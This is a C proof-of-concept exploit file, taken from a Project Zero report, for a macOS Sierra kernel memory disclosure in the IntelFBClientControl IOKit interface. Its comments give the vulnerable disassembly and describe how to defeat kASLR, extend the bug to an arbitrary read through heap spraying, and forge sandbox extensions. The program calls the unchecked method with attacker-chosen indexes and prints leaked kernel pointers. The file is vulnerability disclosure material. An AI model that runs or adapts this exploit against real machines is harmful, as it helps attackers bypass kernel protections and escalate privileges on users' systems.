/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_mem capri_mem.c -framework IOKit
#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x710,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
